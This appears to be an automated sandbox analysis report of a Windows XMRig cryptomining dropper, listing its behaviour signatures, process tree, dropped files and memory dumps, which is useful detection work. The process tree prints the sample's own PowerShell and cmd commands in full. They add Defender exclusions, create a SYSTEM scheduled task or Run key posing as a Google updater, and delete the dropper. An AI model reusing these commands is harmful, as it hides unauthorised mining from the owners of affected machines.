Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    430s
  • max time network
    1783s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1200
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2500
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1252
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2792
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2592
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2916
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2612
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2172
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3040
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1648
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:1924
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:2468
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:2560
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:1624
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2252
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:2756
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {F561AFF2-1B9B-4EFD-9288-338FD7BD2CD3} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2376
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1628
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:2216

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 61KB
              • SHA256 58c60b5d1a5964438894240513e0a92d3a860cf459beeb1521a07f76e957d9fa
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 157KB
              • SHA256 3522368f6d5113d9fa328425950b779a719a742e9b86ce7519030d762227c762
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 f41760a8d803ec1e43383a7a4ce354c5e6c669194d5aca607de8bd43ad14e394
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 1KB
              • SHA256 181f50f905c56a2043c18f81f26be56905c12b97f733e8561692a3156a3792cf
              • MD5 SHA1 SHA512

              memory/1252-9-0x0000000002A10000-0x0000000002A90000-memory.dmp

              memory/1252-6-0x00000000026A0000-0x00000000026A8000-memory.dmp

              memory/1252-12-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

              memory/1252-10-0x0000000002A10000-0x0000000002A90000-memory.dmp

              memory/1252-5-0x000000001B590000-0x000000001B872000-memory.dmp

              memory/1252-11-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

              memory/1252-8-0x0000000002A10000-0x0000000002A90000-memory.dmp

              memory/1252-7-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

              memory/1628-43-0x000000013FF50000-0x0000000140161000-memory.dmp

              memory/1628-63-0x000000013FF50000-0x0000000140161000-memory.dmp

              memory/1648-53-0x00000000015A0000-0x0000000001620000-memory.dmp

              memory/1648-52-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

              memory/1648-54-0x00000000015A0000-0x0000000001620000-memory.dmp

              memory/1648-55-0x00000000015A0000-0x0000000001620000-memory.dmp

              memory/1648-56-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

              memory/1648-51-0x00000000015A0000-0x0000000001620000-memory.dmp

              memory/1648-50-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

              memory/2252-84-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-138-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-136-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-134-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-132-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-130-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-115-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-113-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-111-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-94-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-92-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-90-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-65-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-64-0x0000000000140000-0x0000000000160000-memory.dmp

              memory/2252-88-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-66-0x00000000007F0000-0x0000000000810000-memory.dmp

              memory/2252-67-0x0000000000850000-0x0000000000870000-memory.dmp

              memory/2252-86-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-69-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-71-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-82-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-75-0x00000000007F0000-0x0000000000810000-memory.dmp

              memory/2252-76-0x0000000000850000-0x0000000000870000-memory.dmp

              memory/2252-78-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-80-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2468-68-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2468-73-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2500-27-0x000000013FF20000-0x0000000140131000-memory.dmp

              memory/2500-0-0x000000013FF20000-0x0000000140131000-memory.dmp

              memory/2612-36-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

              memory/2612-37-0x0000000002C10000-0x0000000002C90000-memory.dmp

              memory/2612-38-0x0000000002C10000-0x0000000002C90000-memory.dmp

              memory/2612-39-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

              memory/2612-35-0x0000000002C10000-0x0000000002C90000-memory.dmp

              memory/2612-34-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

              memory/2792-21-0x0000000002A00000-0x0000000002A80000-memory.dmp

              memory/2792-22-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

              memory/2792-24-0x0000000002A00000-0x0000000002A80000-memory.dmp

              memory/2792-23-0x0000000002A00000-0x0000000002A80000-memory.dmp

              memory/2792-25-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

              memory/2792-20-0x0000000001DC0000-0x0000000001DC8000-memory.dmp

              memory/2792-19-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

              memory/2792-18-0x000000001B5A0000-0x000000001B882000-memory.dmp

              memory/3040-46-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

              memory/3040-45-0x0000000000CF0000-0x0000000000D70000-memory.dmp

              memory/3040-44-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

              memory/3040-48-0x0000000000CFB000-0x0000000000D62000-memory.dmp

              memory/3040-49-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

              memory/3040-47-0x0000000000CF0000-0x0000000000D70000-memory.dmp